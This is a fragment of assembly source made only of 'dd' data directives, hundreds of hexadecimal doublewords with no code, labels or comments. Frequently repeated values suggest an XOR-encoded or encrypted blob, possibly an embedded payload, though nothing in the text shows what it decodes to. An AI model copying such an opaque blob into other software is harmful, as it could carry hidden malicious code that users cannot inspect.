		dd 4D62870Ch, 719981B3h, 0FB4F0591h, 3112126Fh,	28A00912h
		dd 1A19E346h, 15662EB6h, 13E81E32h, 1A668832h, 156644B2h
		dd 94374232h, 29E769E1h, 7307D349h, 1DE94B9Fh, 1A662232h
		dd 156613B6h, 3807E832h, 1FB908F1h, 6B6D7F1Fh, 31221211h
		dd 1E3B8D12h, 0D663674Ch, 756CFD7Eh, 0AC19F1B3h, 9769B3A2h
		dd 15664434h, 0AE6EECB3h, 0EA076754h, 21E7F042h, 0BE4DAF16h
		dd 0AA317C64h, 43CD3AD9h, 0E9397603h, 676A82B3h, 0FBE70D57h
		dd 21E76C39h, 3542FC31h, 686D82B3h, 0FBE716B3h,	3A03633Eh
		dd 156682DBh, 9871E632h, 0CD3C69C7h, 45AB3063h,	1566908Ah
		dd 9E964532h, 3162A90Ah, 1562D5B3h, 18F8832h, 0DC664432h
		dd 0BE6BFECEh, 46364105h, 23A2E0A8h, 6F4CFC5Bh,	9C8070C7h
		dd 574C08Fh, 14E88734h,	0E0664432h, 9069DDB7h, 1566110Fh
		dd 156682DBh, 0DE266332h, 3F74E26h, 0FC1EE133h,	1566883Ch
		dd 1F667CD3h, 305D3ADCh, 0A14B420Bh, 0E78ECDEEh, 0EC66446Ch
		dd 1562C8DBh, 99697132h, 15668830h, 0DBE71D60h,	6E8DD6B9h
		dd 0F4EF4053h, 156249B3h, 0FCE54432h, 316AA536h, 316A986Eh
		dd 74BC0852h, 1ED1353h,	11A2A116h, 15619C3Dh, 9F068832h
		dd 0D4D14BC3h, 11B44953h, 1561973Dh, 91698832h,	15664433h
		dd 1563CBC7h, 0C8E91132h, 9C9D018Eh, 54B11A7h, 0FDEC4234h
		dd 110C70CAh, 15670A3Dh, 75934432h, 1AB9A952h, 7307DF85h
		dd 1C1D41B3h, 5662C53h,	0FD062232h, 1566113Dh, 0E98C74FDh
		dd 295D65C5h, 4AD7592Eh, 73A0FDFBh, 9F9E53B3h, 74B6CF6Bh
		dd 1504095Ah, 31729832h, 15669BDBh, 8F440B32h, 2DE99773h
		dd 4487411Ch, 50CC349Ah, 4B7652FCh, 1A062258h, 15661EB1h
		dd 156F6032h, 0FAF64432h, 46A96524h, 4DDCBBD9h,	6E78753h
		dd 0FC664432h, 1566223Ch, 0A37FEC0Dh, 6DA1A309h, 76062EA3h
		dd 8099945Eh, 13760D57h, 156680DBh, 0BB89BC32h,	2B32D63Eh
		dd 50E398ECh, 0FC609801h, 1566443Fh, 413FC2A5h,	26EE023Fh
		dd 93E855F3h, 118AC73Eh, 9C423EBBh, 4EBC98F1h, 7406DB52h
		dd 156CAD6Bh, 50672232h, 17635FE1h, 621D62C7h, 316ACF53h
		dd 9480AB64h, 156615F4h, 11A00B32h, 494270B5h, 156631DBh
		dd 81B07532h, 19F1DC29h, 37196DBDh, 5D9B1E18h, 0F7038A67h
		dd 153B0CDAh, 0E30EB132h, 9C662200h, 0B89A3506h, 0DBEDEE52h
		dd 2A6A4153h, 5165202Fh, 0AC373516h, 54DE2C8h, 4F2A5B3h
		dd 0D4E77A39h, 4ADD54E6h
		dd 94BF7F73h, 3311D9FBh, 78A7A348h, 3C61CC0Dh, 0AD06D1FAh
		dd 50AE5DC4h, 7494A954h, 249E20CBh, 1A9EB9F5h, 156645B2h
		dd 9C36D732h, 9EA598CAh, 0D1E7AC36h, 15664436h,	1573A93Dh
		dd 58F1132h, 0C9668832h, 517B0580h, 0A03448A9h,	0E532B760h
		dd 7DF85B67h, 156609D0h, 0FC421EBBh, 15661137h,	0F1287835h
		dd 0E9A67462h, 0E8138CC7h, 156617DBh, 0F9041832h, 0FC7BA023h
		dd 15662239h, 0AAFF7385h, 4993AC79h, 9E216638h,	9C330606h
		dd 11A390D7h, 94668832h, 156640F7h, 314AA532h, 51D9716Eh
		dd 4533EA36h, 94071CCAh, 352817F5h, 7E89901Dh, 3C748432h
		dd 7EA1C5EDh, 94742E32h, 352824DDh, 9C357D1Dh, 11A5C5D1h
		dd 96662232h, 9E115D9h,	1EFD416h, 2E04B16h, 1A662232h
		dd 156600B8h, 156A6132h, 0E8B24432h, 33A55D22h,	366EED07h
		dd 91694F0Dh, 15664420h, 15662FDBh, 0C1975632h,	0C7DC9045h
		dd 9C75D861h, 0F9E75192h, 15661136h, 4F42B4BBh,	156CC23Dh
		dd 94062232h, 0B60345C3h, 74BF0323h, 25CFF9B9h,	1E8F2422h
		dd 0D7661132h, 0DB0DC51Fh, 7A42B16Eh, 0EADF80DFh, 0E999EECDh
		dd 188F4803h, 15664432h, 2671CA28h, 0A64D36F4h,	0CBD3BEDAh
		dd 15DF1561h, 9C662232h, 0E66748F9h, 1A3D8BB8h,	15664EB0h
		dd 1563CB32h, 27641132h, 25CBE07Bh, 14E34BFAh, 0E9662232h
		dd 0EA99AE65h, 0EB4F77CDh, 2199B86Dh, 3162A9B5h, 1562D5B3h
		dd 0D49E8832h, 24934CDBh, 1563CBF3h, 0C4D21132h, 5FC3FF85h
		dd 0EAF0C13Dh, 0AD06DDCDh, 76A82F07h, 74AF3F3Dh, 9C62A8B1h
		dd 0ED3E063Eh, 0E28C96A0h, 878C0FE7h, 11EE4B52h, 73662232h
		dd 1A1A888Bh, 15668DB3h, 0FFE72232h, 0EA07B955h, 963C3506h
		dd 459E8CF6h, 464240B3h, 9A2BE64Ah, 0B5D84730h,	5341D52Ch
		dd 63E68AB3h, 0F3E73795h, 7C324519h, 0FBE756C5h, 858177BEh
		dd 1A38101Bh, 15661DB5h, 13ED8732h, 1A664432h, 156622B5h
		dd 11DE4132h, 94668832h, 0C76D53F0h, 94A4232Eh,	0C76D06D8h
		dd 469ED02Eh, 0D6E7A7BBh, 15662236h, 1562FAB3h,	9E18832h
		dd 1EF1816h, 9099DE16h,	13760547h, 15670A3Dh, 9E9E4432h
		dd 57257A7h, 7EF1E34h, 0FC668832h, 1566443Fh, 0B58DB369h
		dd 1148B537h, 4DEEBAE9h, 0C4F37D6Eh, 1A603220h,	156690B6h
		dd 9400E832h, 1AC220EAh, 156627B1h, 0C6E77732h,	0EA07F471h
		dd 963C6006h, 9E9E26F6h, 9C343506h, 11A409D0h, 96664432h
		dd 1E126F0h, 1A064D16h,	15668EB0h, 15E44B32h, 1A662232h
		dd 7D07E685h, 1566BAC0h, 0AF4250BBh, 15662236h,	0FC3CC733h
		dd 15668820h, 0CA2AAAC4h, 87F2FDBAh, 0FC703A4h,	0F704BEEDh
		dd 0AD066897h, 786DB473h, 7419E2B2h, 0EA9A69DBh, 156EADCDh
		dd 0BF302232h, 6FFE84D5h, 1EDEF49h, 0F7EF1616h,	1562E0B3h
		dd 0D7E51132h, 31720F36h, 0EBEC246Eh, 156629DBh, 8D945432h
		dd 0F3A53753h, 4594C9F0h, 3152DD53h, 11A2926Ch,	156699DBh
		dd 0DFDF7F32h, 0F11D2311h, 53CF149Dh, 0E8CD2BACh, 91696A1Fh
		dd 15662239h, 156617DBh, 1189A632h, 7459C4F8h, 1569A43Dh
		dd 1F8F1132h, 0BE668832h, 0E8C1D5EDh, 0DAED8243h, 14E81E65h
		dd 0ED668832h, 444248B9h, 0D4E7C3BBh, 15661136h, 156249B3h
		dd 19E14432h, 90697E16h, 15661135h, 15670E3Dh, 759F4432h
		dd 62BC6D8Bh, 10E11E5Dh, 0AC668832h, 6F52897Ah,	3162A953h
		dd 94839867h, 15668CF7h, 11A3C732h, 49420EB5h, 156616DBh
		dd 7030CC32h, 5FE39BCDh, 3F7BA7F5h, 15661722h, 1B8F8832h
		dd 0A2664432h, 71BE75DDh, 559B154Ah, 5E39EB73h,	0B8E38336h
		dd 15603226h, 0ED661132h, 0B03035B1h, 1A664225h, 15661AB6h
		dd 88EBE432h, 1370390Fh, 1572C63Dh, 1A8F2232h, 0B2661132h
		dd 0CF4DF8FEh, 0ED670A45h, 659167DFh, 0C699859Eh, 156698DBh
		dd 0FE6D9F32h, 0DA373C10h, 9D32AF0Fh, 96802A88h, 60E3BB94h
		dd 1A603215h, 156619B4h, 9A69E832h, 15664432h, 60DBA153h
		dd 71600115h, 17AF0A3Dh, 45064432h, 1A3D7861h, 0D207D885h
		dd 541FDB7h, 15664534h,	0FE72D32h, 1A661132h, 15669CB0h
		dd 1569AD32h, 0CA912232h, 0F716BCBFh, 2DFE3B69h, 276C88B3h
		dd 1B8F4273h, 0E9661132h, 0C0186D7Eh, 11DE37B0h, 0DE0E058Fh
		dd 0E1E39CCEh, 75609F4Ch, 156654DBh, 0DD380032h, 0FA65F53Dh
		dd 0C316E971h, 450D8BAh, 0C59943BCh, 4F3771C7h,	33D30553h
		dd 0E9605394h, 1572A43Dh, 9B691132h, 1566883Ch,	15664DDBh
		dd 0D8B4E632h, 0B581DE29h, 0A8EB49D3h, 137E7469h, 47DE72C7h
		dd 147EA604h, 0E24FD0F5h, 2334ABB3h, 1F8F3A85h,	37661132h
		dd 6FAECBFAh, 0B0F26C39h, 5E94A1Ch, 9EF1132h, 9C9D0116h
		dd 9E9F1FE8h, 5568B8Fh,	0EBED7134h, 156698DBh, 84251B32h
		dd 813199B1h, 5DCB8458h, 0EC673957h, 0EADF25CBh, 7599DDCDh
		dd 0BDD5A954h, 743E7D60h, 0FCA675CBh, 1566223Ch, 377D8B0Eh
		dd 40CF9A5Ch, 99E9EF0h,	45375D65h, 0FF4E9A5Ah, 4D6BD04Ah
		dd 0C407864Ah, 43D32FD2h, 5C637084h, 9C6A813Ah,	0E4671CF3h
		dd 1A3F23B8h, 156616B5h, 14E88732h, 0E0664432h,	9969EA02h
		dd 1566113Ch, 156681DBh, 2B364132h, 85BE5110h, 47305741h
		dd 9224D26Ch, 0FD9F24E4h, 15662226h, 0CD950542h, 0BA30822h
		dd 0FA79CBE0h, 7B551DDDh, 9A862CC3h, 74394481h,	4DE170CDh
		dd 156DCA52h, 74AA1132h, 0E75F0A59h, 39DC4E56h,	749A78E5h
		dd 756EF8F3h, 5063A58Dh, 45DE2218h, 0D4574323h,	90695BCEh
		dd 0EA997763h, 156656DBh, 0FB2A4D32h, 5BB343F8h, 82174285h
		dd 1BF39151h, 7D26AFAAh, 15660DF7h, 4D4284BBh, 156654DBh
		dd 66A94532h, 762DAD65h, 54936B5Bh, 0C572ABCCh,	19172B4h
		dd 31629A16h, 0FC624CB1h, 15664423h, 0FD908D4Dh, 0D9891B1h
		dd 35A46359h, 18D7FD52h, 70E31B1Ch, 1A600111h, 156638B6h
		dd 1575AD32h, 6E1D2232h, 0BE3886B4h, 0C70B15Ch,	0F82A40ABh
		dd 3EB4C0C3h, 15D8474Eh, 9C668832h, 3152CFC2h, 1562E6B3h
		dd 9F691132h, 15668833h, 1AA64FCAh, 15661FB7h, 94007132h
		dd 0FD881BD5h, 1566443Ch, 478E8D23h, 0A05B7589h, 1C36CEA1h
		dd 9E002DD7h, 0D2077DC9h, 56084B7h, 15668934h, 1576AD32h
		dd 46FD2232h, 369D7905h, 7E37F72h, 0F31989BCh, 473336B4h
		dd 6D0DC888h, 4FB3012Ah, 0F88781B3h, 0FC67C58Ah, 9669716Fh
		dd 15668834h, 0CCF79FB3h, 48E4C67h, 89661132h, 0F58F94D8h
		dd 0E78C9689h, 5A29B305h, 0B4192AFh, 4A980354h,	18F2553h
		dd 0B6662232h, 0C42109A8h, 2A925D72h, 631AD89Ch, 0A35C306Bh
		dd 46C4CED4h, 6BBF7A89h, 21E71772h, 0C17ACE16h,	0E4E7484Fh
		dd 68B294DEh, 1576AD69h, 0A6672232h, 0B2E17E6Ch, 153C6F1h
		dd 1DC414h, 0AE353DB1h,	229008A1h, 0C6915BC5h, 0E260AFF3h
		dd 87DB77E1h, 0D44EF07Ah, 0D8E780D7h, 74C91DD0h, 0F0A7FFC5h
		dd 0A8A3903Ah, 3C3159C0h, 0FEE719D9h, 69E1C3D3h, 0E03DCBBBh
		dd 156682DBh, 0C9BDBA32h, 0B736FB10h, 0B8750D66h, 15710C3Dh
		dd 73064432h, 0FDC8838Ah, 15661139h, 3E71D866h,	9FA32031h
		dd 4C653672h, 4D39853h,	1A60983Dh, 156657B2h, 1568CB32h
		dd 35301132h, 0B5A5E986h, 9CA9B9DFh, 6DD11E36h,	20DE4167h
		dd 20704713h, 27DC57C1h, 943EE7BBh, 0EC4E29F7h,	0C4830964h
		dd 0D4059A2Eh, 0F8A726DFh, 0FF8B9034h, 94007746h, 0C38D8C7h
		dd 0E908ABABh, 9E00716Fh
		dd 0FB5BE9CCh, 1A88AADCh, 156682B7h, 12E51E32h,	1A668832h
		dd 156645B0h, 2BE7DB32h, 0C8BBCCEFh, 15E10D3Dh,	40934432h
		dd 0F0381F8Fh, 0D660D63Dh, 44969293h, 1566448Bh, 14972332h
		dd 0E93B481Bh, 15623361h, 0D3E74432h, 2E7B4220h, 0FBE7CF33h
		dd 2E7BE820h, 6E94B69h,	0FC662232h, 1566113Ch, 66DA173Dh
		dd 87F73400h, 9BC43023h, 0A0EFB4EFh, 13768723h,	156CC13Dh
		dd 9E062232h, 15EF1EE4h, 74668832h, 154A16DBh, 1FEC2D32h
		dd 75661132h, 15660A3Dh, 68D54432h, 0EBE7CB53h,	1F8FEECDh
		dd 7B668832h, 0E9A42B01h, 7E69375Dh, 118A90B2h,	9C668832h
		dd 0FC3D6036h, 1566223Ah, 0DC0FC8BFh, 0BAF79F34h, 13F3C101h
		dd 0D49F2422h, 0E00612FAh, 74A6373Dh, 51572B1Fh, 42B60B59h
		dd 51577E8Dh, 4A9E8959h, 156649DBh, 0BBD5F332h,	6FC8243Ah
		dd 7D770083h, 0D5A7F837h, 0CBED4222h, 0DD5770CAh, 156682DBh
		dd 86205032h, 1F89F69Bh, 9C3B54E1h, 5601DAFh, 155BB134h
		dd 1A662332h, 1567C3B1h, 0C6E7E832h, 41013D1h, 9407F2B9h
		dd 0AEDDAA0Ch, 0A9E38789h, 0E0664433h, 15662FDBh, 416B3632h
		dd 0C3589423h, 0D120FB8Ch, 0AF3419B6h, 15661132h, 7D377A33h
		dd 5469Ah, 14AFA36Bh, 9474916Ah, 0F63C21DBh, 4C6CCD25h
		dd 1EED2D68h, 0FC661132h, 15668834h, 79052458h,	0A8335284h
		dd 15661136h, 41DC4EB3h, 0FB675A7Fh, 41DCCCB3h,	0ED3B0F7Fh
		dd 1A773DBBh, 1A064222h, 9400EC85h, 7470F5C1h, 0CBD98752h
		dd 9E07AFB8h, 54923AFh,	2699E834h, 5B42A4B3h, 4C05E91Ch
		dd 3B289D65h, 0EC67729Fh, 739AE86Dh, 527EB2B3h,	130EDA53h
		dd 9C661120h, 11E7AC36h, 63612716h, 0FFE77868h,	4F101651h
		dd 46D7E852h, 15664DDBh, 0FACFDE32h, 4755927Bh,	740758F6h
		dd 9434B152h, 276C061Eh, 11ED23CBh, 11A20B16h, 0EC544E37h
		dd 0AF004200h, 0D2EDBE81h, 0F8E3A353h, 0FC605413h, 15662223h
		dd 582FC03Ch, 215D51FDh, 37A25071h, 751F0BC3h, 1786D02Ah
		dd 60E38BCAh, 0FC605436h, 15662238h, 0EC2D13B9h, 38186561h
		dd 3D0E3443h, 9C662260h, 4D303536h, 1FE0876Ch, 75664432h
		dd 92697963h, 15661132h, 0FC062553h, 1566443Eh,	0ABCFCFE6h
		dd 7625C01Ah, 0DB5E2713h, 15664BDBh, 0F286C32h,	4B029784h
		dd 0BFA024E8h, 703B7D05h, 0AB30DE53h, 0CF23039h, 5B6466F3h
		dd 1488C57Ch, 0D44FFC24h, 0D3E719D4h, 68027E0Dh, 1438B433h
		dd 20590FFAh, 0AC061565h, 7491B7E6h, 3122CD53h,	1569CB2Eh
		dd 7A6F1132h, 0D46053CAh, 1DA40708h, 0ED036B8Bh, 1A067023h
		dd 9E694885h, 15664434h, 1566A73Dh, 0FC071132h,	15668B11h
		dd 15664EDBh, 5AB9CB32h, 0DA0ABB9Fh, 47DC249Ch,	0D7E7A6BBh
		dd 15662236h, 1562FBB3h, 1E18832h, 19EF1816h, 14EF2D16h
		dd 0E0661132h, 94830167h, 156640F7h, 118BA332h,	92661132h
		dd 9C3AAC1Eh, 1F8F6026h, 0FC662232h, 0FC76067Dh, 8203366Eh
		dd 1AAF7505h, 156623B3h, 80EDE432h, 1376BB77h, 1568CF3Dh
		dd 1C8F2232h, 8D661132h, 2C79C1F1h, 2883E107h, 43DF4452h
		dd 2ADF77B5h, 175DE942h, 15BEC03Dh, 73062232h, 0B766DEB3h
		dd 11D9DF53h, 94664432h, 0E34A20F0h, 949C102Eh,	0E34A8AD8h
		dd 48F1B2Eh, 91662232h,	9484F7D1h, 558CD064h, 0BBE8586h
		dd 0F89D507Dh, 156D9F3Dh, 138F8832h, 74664432h,	0C05F5D34h
		dd 14D847D1h, 14668832h, 2E9A1AC3h, 574F3BFh, 8AE31E34h
		dd 0FC9977CDh, 15664439h, 8D0F7492h, 7A6D9E2Ch,	46F2B658h
		dd 0C03E6789h, 12A5A37Ch, 943AA562h, 0FE62C9C1h, 6C95C502h
		dd 945D925Fh, 0C7A703D9h, 9EBE0192h, 0D1E5602Eh, 9E694236h
		dd 15661122h, 156683DBh, 6B30BB32h, 0B9C4DA72h,	53D17BDCh
		dd 1567003Dh, 74934432h, 15662DDBh, 3CECA32h, 0A61C2888h
		dd 0A1344BBh, 0C6D35F87h, 5BE39CBFh, 0EA9A8E22h, 12ED4BD3h
		dd 75662232h, 0A269C585h, 98EFE9F8h, 13765047h,	3152DDCBh
		dd 11A29268h, 156686DBh, 46CA5932h, 280996C4h, 0E81DF9ACh
		dd 9E43D7CFh, 9C34603Eh, 11A4A3D0h, 96661132h, 1E18CF0h
		dd 42931816h, 0D2E7C5BBh, 15661136h, 926267B1h,	9C3A600Eh
		dd 9E9F0606h, 54910AFh,	14E98734h, 0EC664432h, 1571A13Dh
		dd 78F1132h, 60668832h,	0EC43BFD8h, 9E1E5397h, 9F2DD435h
		dd 40B1FC24h, 15DC1652h, 14662232h, 9E6C9AE8h, 0D1E5AC26h
		dd 14E74B36h, 0E9662232h, 11394B9h, 9C698E22h, 1566443Dh
		dd 156628DBh, 50E96932h, 87A28C63h, 0C474B7D4h,	0AC0042D2h
		dd 0CADC6F23h, 74795DE3h, 3F13C131h, 249E2422h,	14E01EC4h
		dd 0E9668832h, 1573CF3Dh, 58F2232h, 71661132h, 1F6E65FFh
		dd 0ED68F154h, 585F6542h, 2406500Dh, 24A0B9C2h,	9C6924C2h
		dd 15662236h, 0EAC1AB54h, 75CBEE53h, 0DC27FE54h, 156633DAh
		dd 66BC4E32h, 9CB18042h, 9331694Eh, 5DE6FF79h, 108E534Ch
		dd 4668832h, 41EDA3F2h,	0E0077C6Ch, 1A64F1F3h, 15668FB9h
		dd 14ED4B32h, 0E0662232h, 11139431h, 58F8E22h, 91664432h
		dd 3097C432h, 3B228B05h, 0BD85CE56h, 24341C5Ch,	24A013C2h
		dd 78F71C2h, 0F668832h,	20C34131h, 95CADE8Bh, 0C892B273h
		dd 0D348BE31h, 58F1406h, 25662232h, 781B8CABh, 0E8B24F35h
		dd 33A53B22h, 4B6EDE07h, 109ABC53h, 291EA526h, 0AB308C33h
		dd 49163338h, 0FBA75F74h, 0EAA80930h, 94579F03h, 8D9137F4h
		dd 4B963836h, 156D033Dh, 138F4432h, 3F662232h, 0E8A2942Bh
		dd 315277B2h, 11A2C56Ch, 0FC662232h, 15661135h,	52179229h
		dd 9602C592h, 57AB78Fh,	91691034h, 156688C9h, 14EC4BC7h
		dd 0EC662232h, 1FF9C09h, 91698E22h, 156644D5h, 0E2D12D52h
		dd 6E36C2B3h, 2E07C7D6h, 546A1BFh, 0C5E22D34h, 0FC661132h
		dd 15668826h, 6C1B55A5h, 0C3258C6Eh, 4DD73BDBh,	0C75F2A0Dh
		dd 38191E22h, 3B07AF09h, 91691722h, 15668899h, 3CFBC9CBh
		dd 1A603A36h, 156600BFh, 156A6132h, 0C4924432h,	25DB2D45h
		dd 7AC2B5F9h, 0C699795Fh, 1568CD3Dh, 1C8F2232h,	0F2661132h
		dd 610C253Dh, 307667B9h, 3162A362h, 27FD010Ch, 0D3DBDD6Dh
		dd 94268C71h, 44665BF7h, 0AD939038h, 0C471C376h, 94BBB3D7h
		dd 0F01AE3F7h, 9893902Dh, 3C335259h, 1B8F19DDh,	57662232h
		dd 0EA98E2Ah, 0D240FDF3h, 8A71B03Fh, 84E3AB46h,	1A600113h
		dd 156689BDh, 358FBD32h, 1A662212h, 15660FB7h, 0DEB8732h
		dd 0FC664432h, 15662221h, 0E9177060h, 55D19C16h, 0B3293689h
		dd 6E24A87Dh, 9885CB5Dh, 0D62A1AFh, 0C699BC34h,	156636DBh
		dd 5BD0C332h, 8CEEC120h, 40A500B7h, 0A51B9C96h,	0C053780Fh
		dd 80DB0B25h, 1560542Eh, 153FA63Dh, 188F1132h, 74668832h
		dd 33C170BDh, 40BDDF53h, 0E996543Eh, 3CE3B3CBh,	1A60543Dh
		dd 15660AB6h, 0A5D57132h, 15668EDBh, 0DA4DC732h, 7489D8C5h
		dd 0F039409h, 90698E22h, 1566442Dh, 1561A73Dh, 9C691132h
		dd 15668833h, 0EBBDADC7h, 1A06DDCDh, 156614B5h,	28E43032h
		dd 2E0763AEh, 57263B7h,	7FE31E34h, 1A668832h, 156650BCh
		dd 1569CB32h, 0F9B61132h, 0A6BA126Dh, 0C8CE4C79h, 0FA7F069Dh
		dd 1CDB920Bh, 15609810h, 1579C03Dh, 96692232h, 15661133h
		dd 10DB0BC7h, 15605439h, 1549A63Dh, 94061132h, 767B26E9h
		dd 0EDD94B0Ah, 97E3AF53h, 7560064Dh, 4DCB3054h,	74B8CF54h
		dd 0EA984ADBh, 156DF8CDh
		dd 32CC8832h, 0C91FB9EDh, 9C0C226Ah, 54E32A9Bh,	1A609826h
		dd 0EA9808B6h, 156BCBCDh, 0F81D1132h, 8619E804h, 6D2BAC42h
		dd 96C48FC5h, 2C32B8Fh,	90698934h, 1566440Ah, 156636DBh
		dd 0B25CBC32h, 8AF7AFAEh, 0E42A0CFCh, 0D98258E1h, 7F98532Dh
		dd 7BE3B355h, 1A605397h, 156631B7h, 90EBE932h, 153F83D6h
		dd 0EB48ADC7h, 0ED06DDCDh, 74FFCAB2h, 96697703h, 15664433h
		dd 78DBA1CAh, 15600102h, 4770C3Dh, 0AE064432h, 482BF09h
		dd 2E071384h, 2C3D2B7h,	57E34B34h, 0ED662232h, 71794B9h
		dd 18F8E22h, 77664432h,	9262A893h, 5BEFD850h, 609CED11h
		dd 555D9133h, 47D6C5ADh, 0B9450388h, 0C840963h,	0D42AA351h
		dd 0DFE727D8h, 20FB2B76h, 0D1C57AB3h, 0C24F8C50h, 6ED44268h
		dd 77E32A53h, 1A609F97h, 156672B7h, 19E12D32h, 1A661132h
		dd 15668EB7h, 15EF4B32h, 9E662232h, 54C70B7h, 0AD9E834h
		dd 7501585Bh, 75B0953Dh, 43077053h, 0DE09118Ch,	7390C566h
		dd 3CCD16A2h, 2E934FC5h, 2C3D6B7h, 2BE34B34h, 75662232h
		dd 15661FDAh, 0CB733432h, 0B19830DDh, 0D6D4D41Bh, 75552559h
		dd 0FDE7D753h, 5410F8EFh, 90EDD753h, 1376323Fh,	156682DBh
		dd 6F774E32h, 79A1ADB8h, 42825108h, 544284B5h, 4A4248B5h
		dd 73E319CBh, 1A600697h, 1566BFB7h, 90EDBD32h, 13762BCFh
		dd 156616DBh, 0FB24A732h, 4179812h, 15679C64h, 0E2671132h
		dd 1DE5876Ch, 1A664432h, 156620B9h, 1A077132h, 15668FB8h
		dd 0D1E62432h, 74B1A9E5h, 0B00C9409h, 90698E25h, 15664405h
		dd 0F4E3A9CAh, 0FC60012Fh, 15668823h, 183C62Dh,	3D9B7EA4h
		dd 0A8009394h, 56BF0FF3h, 0EADF1599h, 3C99DDCDh, 198F48FDh
		dd 75668832h, 0F8378884h, 0A6F83496h, 2E51CFDFh, 2C3E6B7h
		dd 7FE34B34h, 0EC662232h, 82B94B9h, 0FC068E22h,	1566443Dh
		dd 0F687D056h, 4188DFDFh, 6E131C4Ah, 0A03AE6FAh, 48F43CDh
		dd 5661132h, 519A9986h,	957AB7AAh, 6F811B63h, 0CF4A1EB2h
		dd 0EA993361h, 0CA4FBBCDh, 188F4269h, 32661132h, 0E170E0Fh
		dd 0C85FF361h, 0A2E8584h, 15749F3Dh, 198E8832h,	46664432h
		dd 932B9421h, 1091D133h, 4BF1B113h, 67E37F53h, 1A603597h
		dd 15662DB7h, 90ED7432h, 1376416Fh, 1576AC3Dh, 1E8F1132h
		dd 0DD668832h, 0CCA647D5h, 0E7720394h, 0C2E15603h, 4A34DF70h
		dd 1575AD68h, 0BE7E2232h, 13269DA2h, 0C5B1411Ah, 0EBB65851h
		dd 3CF0F9DAh, 63E32A92h, 1A609F97h, 15667BB7h, 96694232h
		dd 15661130h, 0FCE659B8h, 90ED2501h, 13762AA7h,	156602DBh
		dd 16C20032h, 92B8791Dh, 5B1C7F9Eh, 57F560BCh, 0DD528AD8h
		dd 1567FA64h, 0E2672232h, 1560F86Ch, 0B3518832h, 9307C5D5h
		dd 0B01CA709h, 90691725h, 15668864h, 156ECB3Dh,	9A692232h
		dd 15661130h, 90EDE952h, 13765CF7h, 156EA13Dh, 92691132h
		dd 15668830h, 94062552h, 784576C3h, 0EBD91E5Ah,	0E1DFD953h
		dd 944C605Dh, 0B31A1C3h, 0F4A7505Fh, 94B77F36h,	491E3AC3h
		dd 4CA923BEh, 15619E3Dh, 9E068832h, 0CCED22F8h,	905DD753h
		dd 1371B44Ch, 15510D3Dh, 78F4432h, 0D2662232h, 77C55688h
		dd 35A09ABFh, 2EEFB876h, 0BD583436h, 10E39A91h,	0ED60982Ch
		dd 1567FE60h, 0C2672232h, 156DF868h, 0A8208832h, 0B8362E53h
		dd 51096727h, 93E32A5Fh, 1A609F97h, 156672B7h, 19E92D32h
		dd 1A661132h, 15668EB1h, 15E34B32h, 9E662232h, 5682CB7h
		dd 18EB8734h, 75664432h, 60A1A354h, 15E81E5Ah, 74668832h
		dd 0EA99FD63h, 0DA4FDDCDh, 2E07716Bh, 2C30AB7h,	7DE34B34h
		dd 0FC662232h, 1566113Dh, 0D1EF075Eh, 0A8A1D233h, 71A07C8Ah
		dd 0FC6560ACh, 15668837h, 31E84FA2h, 0D4DBA1FCh, 15600123h
		dd 155B0D3Dh, 1C8F4432h, 79662232h, 0AA158673h,	50B06F97h
		dd 156657DBh, 5E67B132h, 10787F44h, 0E2B41E60h,	71A94615h
		dd 0D5A72E23h, 240B94B9h, 439A8E22h, 0EA99BB8Ch, 4B910BCDh
		dd 15679B3Dh, 969E8832h, 561058Fh, 91692234h, 1566117Bh
		dd 1BE3B3CAh, 1A605394h, 15661EB7h, 1569F832h, 1A5D8832h
		dd 5448CF83h, 0F52001F3h, 0DDFDA30Ch, 0CE30370h, 0FC605410h
		dd 15662220h, 0EBEEE944h, 0F2A69962h, 0A7E110B9h, 454C4CF8h
		dd 0F9E57CDFh, 315A0136h, 4A4240CDh, 0BCDBA1CEh, 15600100h
		dd 176A0C3Dh, 969A4432h, 57FC78Fh, 91691134h, 156689CCh
		dd 81BFC452h, 1566AF3Dh, 2E071132h, 2C37AB7h, 4DE34B34h
		dd 1A662232h, 156610BDh, 9E9F7432h, 56CEDB7h, 1563CB34h
		dd 0A7A1132h, 408477A0h, 0EA99BB8Fh, 48890BCDh,	157A9A3Dh
		dd 73068832h, 0FDC52F89h, 15662222h, 9D2BE953h,	18610B8Fh
		dd 0B6C83886h, 0E1472409h, 58F7069h, 3D668832h,	0B1238C56h
		dd 7A5ABE5Ch, 5B13E8E7h, 2EC0DEA5h, 2C046B7h, 54E32D34h
		dd 1A661132h, 156689BEh, 9E9FBC32h, 54507B7h, 1568F834h
		dd 18BC8832h, 571E06FBh, 21920EA3h, 5F7CFB38h, 15673260h
		dd 0C2674432h, 1574CB68h, 0B34E1132h, 0D4DBEEB0h, 0BE259DB5h
		dd 0FC2182EFh, 6C54439Bh, 0B0900D09h, 90694225h, 1566221Eh
		dd 15679E3Dh, 9E9A8832h, 56E81B7h, 1AE12D34h, 0FC661132h
		dd 15668838h, 7FEB8E79h, 0EDADA666h, 0AD36C7B5h, 0EA9977CDh
		dd 0EC3E831Bh, 0B360A709h, 90691725h, 1566881Bh, 1CE3CFCBh
		dd 0FC603230h, 15661134h, 0D85C1BDBh, 0AE35A941h, 15662233h
		dd 0FC3DCE33h, 1566883Bh, 16F2DAA3h, 4859DBEDh,	1FE32A29h
		dd 1A609F94h, 15660EB7h, 1563CB32h, 6E9D1132h, 9EBBE934h
		dd 5785DB7h, 1575CB34h,	0C6E61132h, 79D80D29h, 0D651A0B1h
		dd 44B8DD6Ch, 0DC0B663Dh, 14DED8D0h, 14664432h,	18F7AF5h
		dd 0CA661132h, 0C70FC8A7h, 0C5536692h, 0FF292483h, 0B0E2AF5Fh
		dd 2EAF216Ch, 2C3BEB7h,	5FE32D34h, 1A661132h, 156682B8h
		dd 0F4EC2432h, 0C2E1C3B3h, 9E077044h, 54731B7h,	9E002434h
		dd 15E02DC5h, 74661132h, 7406DB52h, 74ACCF68h, 0EA999A62h
		dd 0D24FEECDh, 7ED876Ah, 75664432h, 156628DAh, 0A64C3232h
		dd 0F4EF1A8Bh, 4BEB4D7Ah, 0EBE31953h, 1A600697h, 156695B7h
		dd 90EDBD32h, 13760B03h, 73A09B52h, 0BF3359B3h,	14DC1653h
		dd 14662232h, 0EC064BE5h, 0A8E5E9CBh, 13765DD7h, 0DDE22D32h
		dd 1A661138h, 156689BDh, 905DB832h, 137187B8h, 153C943Dh
		dd 48F8832h, 6D664432h,	0B485575Eh, 3E2548CBh, 81C5A93Dh
		dd 3ED9FD04h, 2613A7B9h, 94691722h, 1566882Fh, 1571C73Dh
